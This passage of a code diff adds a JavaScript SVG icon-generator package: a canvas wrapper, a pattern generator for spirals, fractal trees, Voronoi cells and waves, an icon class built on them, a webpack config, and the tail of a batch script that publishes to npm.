+ REM echo Tests failed
26
+ REM exit /b 1
27
+ REM )
28
+
29
+ REM Publish to npm
30
+ echo Publishing to npm...
31
+ call npm publish
32
+ if %errorlevel% neq 0 (
33
+ echo Publish failed
34
+ exit /b 1
35
+ )
36
+
37
+ echo Successfully built and published!
38
+ exit /b 0
@@ -0,0 +1,155 @@
1
+ const svgBuilder = require('svg-builder');
2
+ const math = require('mathjs');
3
+ const Color = require('color');
4
+
5
+ class VectorCanvas {
6
+ constructor(width = 512, height = 512, options = {}) {
7
+ this.width = width;
8
+ this.height = height;
9
+ this.options = {
10
+ background: options.background || '#ffffff',
11
+ viewBox: options.viewBox || `0 0 ${width} ${height}`,
12
+ precision: options.precision || 2
13
+ };
14
+
15
+ this.svg = svgBuilder.newInstance()
16
+ .width(this.width)
17
+ .height(this.height)
18
+ .viewBox(this.options.viewBox);
19
+
20
+ if (this.options.background !== 'transparent') {
21
+ this.svg.rect({
22
+ x: 0,
23
+ y: 0,
24
+ width: this.width,
25
+ height: this.height,
26
+ fill: this.options.background
27
+ });
28
+ }
29
+
30
+ this.elements = [];
31
+
32
+ this.transformMatrix = math.matrix([
33
+ [1, 0, this.width / 2],
34
+ [0, -1, this.height / 2],
35
+ [0, 0, 1]
36
+ ]);
37
+ }
38
+
39
+ transformPoint(point) {
40
+ const homogeneous = math.matrix([[point[0]], [point[1]], [1]]);
41
+ const transformed = math.multiply(this.transformMatrix, homogeneous);
42
+ const result = transformed.toArray();
43
+ return [
44
+ parseFloat(result[0][0].toFixed(this.options.precision)),
45
+ parseFloat(result[1][0].toFixed(this.options.precision))
46
+ ];
47
+ }
48
+
49
+ circle(x, y, radius, attributes = {}) {
50
+ const [tx, ty] = this.transformPoint([x, y]);
51
+ const element = {
52
+ type: 'circle',
53
+ center: [tx, ty],
54
+ radius,
55
+ attributes
56
+ };
57
+
58
+ this.svg.circle({
59
+ cx: tx,
60
+ cy: ty,
61
+ r: radius,
62
+ ...attributes
63
+ });
64
+
65
+ this.elements.push(element);
66
+ return this;
67
+ }
68
+
69
+ line(x1, y1, x2, y2, attributes = {}) {
70
+ const [tx1, ty1] = this.transformPoint([x1, y1]);
71
+ const [tx2, ty2] = this.transformPoint([x2, y2]);
72
+
73
+ const element = {
74
+ type: 'line',
75
+ start: [tx1, ty1],
76
+ end: [tx2, ty2],
77
+ attributes
78
+ };
79
+
80
+ this.svg.line({
81
+ x1: tx1,
82
+ y1: ty1,
83
+ x2: tx2,
84
+ y2: ty2,
85
+ ...attributes
86
+ });
87
+
88
+ this.elements.push(element);
89
+ return this;
90
+ }
91
+
92
+ polygon(points, attributes = {}) {
93
+ const transformedPoints = points.map(point => this.transformPoint(point));
94
+
95
+ const pointsString = transformedPoints
96
+ .map(point => point.join(','))
97
+ .join(' ');
98
+
99
+ const element = {
100
+ type: 'polygon',
101
+ points: transformedPoints,
102
+ attributes
103
+ };
104
+
105
+ this.svg.polygon({
106
+ points: pointsString,
107
+ ...attributes
108
+ });
109
+
110
+ this.elements.push(element);
111
+ return this;
112
+ }
113
+
114
+ path(d, attributes = {}) {
115
+ const element = {
116
+ type: 'path',
117
+ d,
118
+ attributes
119
+ };
120
+
121
+ this.svg.path({
122
+ d,
123
+ ...attributes
124
+ });
125
+
126
+ this.elements.push(element);
127
+ return this;
128
+ }
129
+
130
+ toSVG() {
131
+ return this.svg.render();
132
+ }
133
+
134
+ clear() {
135
+ this.svg = svgBuilder.newInstance()
136
+ .width(this.width)
137
+ .height(this.height)
138
+ .viewBox(this.options.viewBox);
139
+
140
+ if (this.options.background !== 'transparent') {
141
+ this.svg.rect({
142
+ x: 0,
143
+ y: 0,
144
+ width: this.width,
145
+ height: this.height,
146
+ fill: this.options.background
147
+ });
148
+ }
149
+
150
+ this.elements = [];
151
+ return this;
152
+ }
153
+ }
154
+
155
+ module.exports = VectorCanvas;
@@ -0,0 +1,197 @@
1
+ const math = require('mathjs');
2
+ const Color = require('color');
3
+
4
+ class PatternGenerator {
5
+ constructor(options = {}) {
6
+ this.options = {
7
+ complexity: options.complexity || 3,
8
+ seed: options.seed || Math.random() * 1000,
9
+ colorScheme: options.colorScheme || 'monochromatic',
10
+ baseColor: options.baseColor || '#3498db',
11
+ density: options.density || 0.5,
12
+ symmetry: options.symmetry || 'radial',
13
+ ...options
14
+ };
15
+
16
+ this.random = math.random;
17
+ math.config({randomSeed: this.options.seed});
18
+
19
+ this.palette = this._generatePalette();
20
+ }
21
+
22
+ _generatePalette() {
23
+ const baseColor = Color(this.options.baseColor);
24
+ const palette = [];
25
+
26
+ switch (this.options.colorScheme) {
27
+ case 'monochromatic':
28
+ for (let i = 0; i < 5; i++) {
29
+ const lightness = 30 + i * 15;
30
+ palette.push(baseColor.lightness(lightness).hex());
31
+ }
32
+ break;
33
+
34
+ case 'complementary':
35
+ palette.push(baseColor.hex());
36
+ palette.push(baseColor.rotate(180).hex());
37
+ palette.push(baseColor.lighten(0.2).hex());
38
+ palette.push(baseColor.rotate(180).lighten(0.2).hex());
39
+ palette.push(baseColor.darken(0.2).hex());
40
+ break;
41
+
42
+ case 'analogous':
43
+ palette.push(baseColor.hex());
44
+ for (let i = 1; i <= 2; i++) {
45
+ palette.push(baseColor.rotate(30 * i).hex());
46
+ palette.push(baseColor.rotate(-30 * i).hex());
47
+ }
48
+ break;
49
+
50
+ case 'triadic':
51
+ palette.push(baseColor.hex());
52
+ palette.push(baseColor.rotate(120).hex());
53
+ palette.push(baseColor.rotate(240).hex());
54
+ palette.push(baseColor.lighten(0.2).hex());
55
+ palette.push(baseColor.darken(0.2).hex());
56
+ break;
57
+
58
+ default:
59
+ for (let i = 0; i < 5; i++) {
60
+ const value = 20 + i * 20;
61
+ palette.push(`hsl(0, 0%, ${value}%)`);
62
+ }
63
+ }
64
+
65
+ return palette;
66
+ }
67
+
68
+ randomColor(alpha = 1) {
69
+ const index = Math.floor(this.random() * this.palette.length);
70
+ if (alpha < 1) {
71
+ return Color(this.palette[index]).alpha(alpha).string();
72
+ }
73
+ return this.palette[index];
74
+ }
75
+
76
+ generateSpiral(centerX = 0, centerY = 0, maxRadius = 100, turns = 3) {
77
+ const points = [];
78
+ const numPoints = Math.floor(50 * this.options.complexity);
79
+
80
+ for (let i = 0; i < numPoints; i++) {
81
+ const t = (i / (numPoints - 1)) * turns * 2 * Math.PI;
82
+ const radius = (i / (numPoints - 1)) * maxRadius;
83
+ const x = centerX + radius * Math.cos(t);
84
+ const y = centerY + radius * Math.sin(t);
85
+ points.push([x, y]);
86
+ }
87
+
88
+ return points;
89
+ }
90
+
91
+ generateFractalTree(startX = 0, startY = 0, length = 100, angle = -Math.PI / 2, depth = 5) {
92
+ const branches = [];
93
+
94
+ const generateBranch = (x, y, len, ang, d) => {
95
+ if (d <= 0) return;
96
+
97
+ const endX = x + len * Math.cos(ang);
98
+ const endY = y + len * Math.sin(ang);
99
+
100
+ branches.push([x, y, endX, endY]);
101
+
102
+ const newLen = len * (0.5 + this.random() * 0.3);
103
+ const angleChange = Math.PI / 4 + this.random() * (Math.PI / 4);
104
+
105
+ generateBranch(endX, endY, newLen, ang - angleChange, d - 1);
106
+ generateBranch(endX, endY, newLen, ang + angleChange, d - 1);
107
+ };
108
+
109
+ const maxDepth = Math.min(depth, this.options.complexity + 2);
110
+ generateBranch(startX, startY, length, angle, maxDepth);
111
+
112
+ return branches;
113
+ }
114
+
115
+ generateVoronoi(width = 200, height = 200, points = 10) {
116
+ const numPoints = Math.max(3, Math.floor(points * this.options.density));
117
+ const sites = [];
118
+
119
+ for (let i = 0; i < numPoints; i++) {
120
+ sites.push([
121
+ (this.random() - 0.5) * width,
122
+ (this.random() - 0.5) * height
123
+ ]);
124
+ }
125
+
126
+ const cells = [];
127
+
128
+ for (let i = 0; i < sites.length; i++) {
129
+ const cell = [];
130
+ const [sx, sy] = sites[i];
131
+
132
+ const numVertices = 8;
133
+ for (let j = 0; j < numVertices; j++) {
134
+ const angle = (j / numVertices) * 2 * Math.PI;
135
+ let minDist = Infinity;
136
+ let radius = Math.min(width, height) / 2;
137
+
138
+ let testPoint = [
139
+ sx + radius * Math.cos(angle),
140
+ sy + radius * Math.sin(angle)
141
+ ];
142
+
143
+ for (let k = 0; k < sites.length; k++) {
144
+ if (k === i) continue;
145
+
146
+ const [ox, oy] = sites[k];
147
+ const midX = (sx + ox) / 2;
148
+ const midY = (sy + oy) / 2;
149
+
150
+ const dx = ox - sx;
151
+ const dy = oy - sy;
152
+
153
+ const length = Math.sqrt(dx * dx + dy * dy);
154
+ const nx = -dy / length;
155
+ const ny = dx / length;
156
+
157
+ const dist = (testPoint[0] - midX) * nx + (testPoint[1] - midY) * ny;
158
+
159
+ if (dist < minDist && dist > 0) {
160
+ minDist = dist;
161
+ testPoint = [
162
+ midX + nx * minDist,
163
+ midY + ny * minDist
164
+ ];
165
+ }
166
+ }
167
+
168
+ cell.push(testPoint);
169
+ }
170
+
171
+ cells.push(cell);
172
+ }
173
+
174
+ return cells;
175
+ }
176
+
177
+ generateWave(width = 200, height = 200, frequency = 0.05, amplitude = 40) {
178
+ const points = [];
179
+ const adjustedFreq = frequency * this.options.complexity;
180
+ const numPoints = Math.floor(width / 5);
181
+
182
+ for (let i = 0; i < numPoints; i++) {
183
+ const x = (i / (numPoints - 1) - 0.5) * width;
184
+
185
+ let y = 0;
186
+ for (let j = 1; j <= this.options.complexity; j++) {
187
+ y += Math.sin(x * adjustedFreq * j + this.options.seed * j) * (amplitude / j);
188
+ }
189
+
190
+ points.push([x, y]);
191
+ }
192
+
193
+ return points;
194
+ }
195
+ }
196
+
197
+ module.exports = PatternGenerator;
@@ -0,0 +1,367 @@
1
+ const VectorCanvas = require('../core/VectorCanvas');
2
+ const PatternGenerator = require('../generators/PatternGenerator');
3
+ const math = require('mathjs');
4
+ const Color = require('color');
5
+
6
+ class IconGenerator {
7
+ constructor(options = {}) {
8
+ this.options = {
9
+ size: options.size || 512,
10
+ padding: options.padding || 0.1,
11
+ style: options.style || 'geometric',
12
+ seed: options.seed || Math.floor(Math.random() * 1000),
13
+ colorScheme: options.colorScheme || 'monochromatic',
14
+ baseColor: options.baseColor || '#3498db',
15
+ background: options.background || 'transparent',
16
+ complexity: options.complexity || 3,
17
+ strokeWidth: options.strokeWidth || 2,
18
+ ...options
19
+ };
20
+
21
+ this.canvas = new VectorCanvas(
22
+ this.options.size,
23
+ this.options.size,
24
+ { background: this.options.background }
25
+ );
26
+
27
+ this.patternGenerator = new PatternGenerator({
28
+ complexity: this.options.complexity,
29
+ seed: this.options.seed,
30
+ colorScheme: this.options.colorScheme,
31
+ baseColor: this.options.baseColor
32
+ });
33
+
34
+ const padding = this.options.size * this.options.padding;
35
+ this.maxRadius = (this.options.size / 2) - padding;
36
+ }
37
+
38
+ circularIcon() {
39
+ const baseColor = this.patternGenerator.randomColor(0.2);
40
+ this.canvas.circle(0, 0, this.maxRadius, {
41
+ fill: baseColor,
42
+ stroke: this.patternGenerator.randomColor(),
43
+ 'stroke-width': this.options.strokeWidth
44
+ });
45
+
46
+ const patternType = Math.floor(this.patternGenerator.random() * 3);
47
+
48
+ switch (patternType) {
49
+ case 0:
50
+ this._addCircularPattern();
51
+ break;
52
+ case 1:
53
+ this._addSpiralPattern();
54
+ break;
55
+ case 2:
56
+ this._addRadialLines();
57
+ break;
58
+ }
59
+
60
+ return this;
61
+ }
62
+
63
+ _addCircularPattern() {
64
+ const numCircles = Math.floor(2 + this.options.complexity * 2);
65
+
66
+ for (let i = 1; i <= numCircles; i++) {
67
+ const ratio = i / numCircles;
68
+ const radius = this.maxRadius * ratio;
69
+
70
+ this.canvas.circle(0, 0, radius, {
71
+ fill: 'none',
72
+ stroke: this.patternGenerator.randomColor(),
73
+ 'stroke-width': this.options.strokeWidth * (1 - ratio * 0.5),
74
+ 'stroke-dasharray': this._getRandomDashArray(radius)
75
+ });
76
+ }
77
+ }
78
+
79
+ _addSpiralPattern() {
80
+ const turns = 2 + this.options.complexity;
81
+ const spiralPoints = this.patternGenerator.generateSpiral(
82
+ 0, 0, this.maxRadius, turns
83
+ );
84
+
85
+ let pathData = `M ${spiralPoints[0][0]},${spiralPoints[0][1]}`;
86
+ for (let i = 1; i < spiralPoints.length; i++) {
87
+ pathData += ` L ${spiralPoints[i][0]},${spiralPoints[i][1]}`;
88
+ }
89
+
90
+ this.canvas.path(pathData, {
91
+ fill: 'none',
92
+ stroke: this.patternGenerator.randomColor(),
93
+ 'stroke-width': this.options.strokeWidth,
94
+ 'stroke-linecap': 'round'
95
+ });
96
+ }
97
+
98
+ _addRadialLines() {
99
+ const numLines = Math.floor(6 + this.options.complexity * 4);
100
+
101
+ for (let i = 0; i < numLines; i++) {
102
+ const angle = (i / numLines) * 2 * Math.PI;
103
+ const x = this.maxRadius * Math.cos(angle);
104
+ const y = this.maxRadius * Math.sin(angle);
105
+
106
+ this.canvas.line(0, 0, x, y, {
107
+ stroke: this.patternGenerator.randomColor(),
108
+ 'stroke-width': this.options.strokeWidth,
109
+ 'stroke-linecap': 'round'
110
+ });
111
+ }
112
+ }
113
+
114
+ polygonIcon(sides = 6) {
115
+ const numSides = Math.max(3, Math.min(12, sides));
116
+
117
+ const points = [];
118
+ for (let i = 0; i < numSides; i++) {
119
+ const angle = (i / numSides) * 2 * Math.PI;
120
+ const x = this.maxRadius * Math.cos(angle);
121
+ const y = this.maxRadius * Math.sin(angle);
122
+ points.push([x, y]);
123
+ }
124
+
125
+ this.canvas.polygon(points, {
126
+ fill: this.patternGenerator.randomColor(0.2),
127
+ stroke: this.patternGenerator.randomColor(),
128
+ 'stroke-width': this.options.strokeWidth
129
+ });
130
+
131
+ const patternType = Math.floor(this.patternGenerator.random() * 3);
132
+
133
+ switch (patternType) {
134
+ case 0:
135
+ this._addInternalLines(points);
136
+ break;
137
+ case 1:
138
+ this._addNestedPolygons(numSides);
139
+ break;
140
+ case 2:
141
+ this._addInternalWeb(points);
142
+ break;
143
+ }
144
+
145
+ return this;
146
+ }
147
+
148
+ _addInternalLines(points) {
149
+ const numPoints = points.length;
150
+ const connectCount = Math.min(numPoints - 2, Math.floor(this.options.complexity));
151
+
152
+ for (let i = 0; i < numPoints; i++) {
153
+ for (let j = 1; j <= connectCount; j++) {
154
+ const targetIndex = (i + j) % numPoints;
155
+
156
+ this.canvas.line(
157
+ points[i][0], points[i][1],
158
+ points[targetIndex][0], points[targetIndex][1],
159
+ {
160
+ stroke: this.patternGenerator.randomColor(0.7),
161
+ 'stroke-width': this.options.strokeWidth * 0.5,
162
+ 'stroke-dasharray': this._getRandomDashArray(this.maxRadius * 0.5)
163
+ }
164
+ );
165
+ }
166
+ }
167
+ }
168
+
169
+ _addNestedPolygons(sides) {
170
+ const numNested = Math.floor(2 + this.options.complexity);
171
+
172
+ for (let n = 1; n < numNested; n++) {
173
+ const ratio = 1 - (n / numNested);
174
+ const radius = this.maxRadius * ratio;
175
+
176
+ const points = [];
177
+ for (let i = 0; i < sides; i++) {
178
+ const angle = (i / sides) * 2 * Math.PI;
179
+ const x = radius * Math.cos(angle);
180
+ const y = radius * Math.sin(angle);
181
+ points.push([x, y]);
182
+ }
183
+
184
+ this.canvas.polygon(points, {
185
+ fill: 'none',
186
+ stroke: this.patternGenerator.randomColor(),
187
+ 'stroke-width': this.options.strokeWidth * ratio
188
+ });
189
+ }
190
+ }
191
+
192
+ _addInternalWeb(points) {
193
+ const centerX = this.patternGenerator.random() * this.maxRadius * 0.6 - this.maxRadius * 0.3;
194
+ const centerY = this.patternGenerator.random() * this.maxRadius * 0.6 - this.maxRadius * 0.3;
195
+
196
+ for (let i = 0; i < points.length; i++) {
197
+ this.canvas.line(
198
+ centerX, centerY,
199
+ points[i][0], points[i][1],
200
+ {
201
+ stroke: this.patternGenerator.randomColor(),
202
+ 'stroke-width': this.options.strokeWidth * 0.7
203
+ }
204
+ );
205
+ }
206
+
207
+ const numWebs = Math.floor(2 + this.options.complexity);
208
+
209
+ for (let n = 1; n <= numWebs; n++) {
210
+ const ratio = n / (numWebs + 1);
211
+
212
+ let pathData = '';
213
+
214
+ for (let i = 0; i < points.length; i++) {
215
+ const x = centerX + (points[i][0] - centerX) * ratio;
216
+ const y = centerY + (points[i][1] - centerY) * ratio;
217
+
218
+ if (i === 0) {
219
+ pathData = `M ${x},${y}`;
220
+ } else {
221
+ pathData += ` L ${x},${y}`;
222
+ }
223
+ }
224
+
225
+ pathData += ' Z';
226
+
227
+ this.canvas.path(pathData, {
228
+ fill: 'none',
229
+ stroke: this.patternGenerator.randomColor(0.5),
230
+ 'stroke-width': this.options.strokeWidth * 0.5
231
+ });
232
+ }
233
+ }
234
+
235
+ fractalIcon() {
236
+ const branches = this.patternGenerator.generateFractalTree(
237
+ 0, this.maxRadius * 0.8,
238
+ this.maxRadius * 0.5,
239
+ -Math.PI / 2,
240
+ Math.floor(3 + this.options.complexity)
241
+ );
242
+
243
+ for (let i = 0; i < branches.length; i++) {
244
+ const [x1, y1, x2, y2] = branches[i];
245
+
246
+ const distFromRoot = Math.sqrt(x1 * x1 + y1 * y1);
247
+ const depthRatio = Math.min(1, distFromRoot / this.maxRadius);
248
+
249
+ this.canvas.line(x1, y1, x2, y2, {
250
+ stroke: this.patternGenerator.randomColor(),
251
+ 'stroke-width': this.options.strokeWidth * (1 - depthRatio * 0.7),
252
+ 'stroke-linecap': 'round'
253
+ });
254
+ }
255
+
256
+ return this;
257
+ }
258
+
259
+ waveIcon() {
260
+ const numWaves = Math.floor(1 + this.options.complexity);
261
+
262
+ for (let i = 0; i < numWaves; i++) {
263
+ const yOffset = (i - (numWaves - 1) / 2) * (this.maxRadius / numWaves);
264
+
265
+ const wavePoints = this.patternGenerator.generateWave(
266
+ this.maxRadius * 2,
267
+ this.maxRadius * 2,
268
+ 0.02 + (i * 0.01),
269
+ this.maxRadius / (3 + i)
270
+ );
271
+
272
+ let pathData = '';
273
+ for (let j = 0; j < wavePoints.length; j++) {
274
+ const [x, y] = wavePoints[j];
275
+
276
+ if (j === 0) {
277
+ pathData = `M ${x},${y + yOffset}`;
278
+ } else {
279
+ pathData += ` L ${x},${y + yOffset}`;
280
+ }
281
+ }
282
+
283
+ this.canvas.path(pathData, {
284
+ fill: 'none',
285
+ stroke: this.patternGenerator.randomColor(),
286
+ 'stroke-width': this.options.strokeWidth * (1 - i * 0.1),
287
+ 'stroke-linecap': 'round'
288
+ });
289
+ }
290
+
291
+ return this;
292
+ }
293
+
294
+ voronoiIcon() {
295
+ const cells = this.patternGenerator.generateVoronoi(
296
+ this.maxRadius * 2,
297
+ this.maxRadius * 2,
298
+ Math.floor(5 + this.options.complexity * 2)
299
+ );
300
+
301
+ for (let i = 0; i < cells.length; i++) {
302
+ const points = cells[i];
303
+
304
+ this.canvas.polygon(points, {
305
+ fill: this.patternGenerator.randomColor(0.3),
306
+ stroke: this.patternGenerator.randomColor(),
307
+ 'stroke-width': this.options.strokeWidth * 0.5
308
+ });
309
+ }
310
+
311
+ this.canvas.circle(0, 0, this.maxRadius, {
312
+ fill: 'none',
313
+ stroke: this.patternGenerator.randomColor(),
314
+ 'stroke-width': this.options.strokeWidth
315
+ });
316
+
317
+ return this;
318
+ }
319
+
320
+ generateIcon() {
321
+ this.canvas.clear();
322
+
323
+ switch (this.options.style) {
324
+ case 'circular':
325
+ this.circularIcon();
326
+ break;
327
+ case 'polygon':
328
+ const sides = Math.floor(3 + this.patternGenerator.random() * 8);
329
+ this.polygonIcon(sides);
330
+ break;
331
+ case 'fractal':
332
+ this.fractalIcon();
333
+ break;
334
+ case 'wave':
335
+ this.waveIcon();
336
+ break;
337
+ case 'voronoi':
338
+ this.voronoiIcon();
339
+ break;
340
+ case 'geometric':
341
+ default:
342
+ const styles = ['circular', 'polygon', 'fractal', 'wave', 'voronoi'];
343
+ const randomStyle = styles[Math.floor(this.patternGenerator.random() * styles.length)];
344
+ this.options.style = randomStyle;
345
+ return this.generateIcon();
346
+ }
347
+
348
+ return this;
349
+ }
350
+
351
+ toSVG() {
352
+ return this.canvas.toSVG();
353
+ }
354
+
355
+ _getRandomDashArray(circumference) {
356
+ if (this.patternGenerator.random() < 0.5) {
357
+ return '';
358
+ }
359
+
360
+ const dashLength = circumference / (10 + this.patternGenerator.random() * 20);
361
+ const gapLength = dashLength * (0.5 + this.patternGenerator.random() * 1.5);
362
+
363
+ return `${dashLength} ${gapLength}`;
364
+ }
365
+ }
366
+
367
+ module.exports = IconGenerator;
@@ -0,0 +1,20 @@
1
+ const path = require('path');
2
+
3
+ module.exports = {
4
+ mode: 'production',
5
+ entry: './index.js',
6
+ output: {
7
+ path: path.resolve(__dirname, 'dist'),
8
+ filename: 'mathicon.js',
9
+ library: {
10
+ name: 'mathicon',
11
+ type: 'umd',
12
+ },
13
+ },
14
+ target: 'node',
15
+ externals: {
16
+ 'svg-builder': 'svg-builder',
17
+ 'mathjs': 'mathjs',
18
+ 'color': 'color'
19
+ }
20
+ };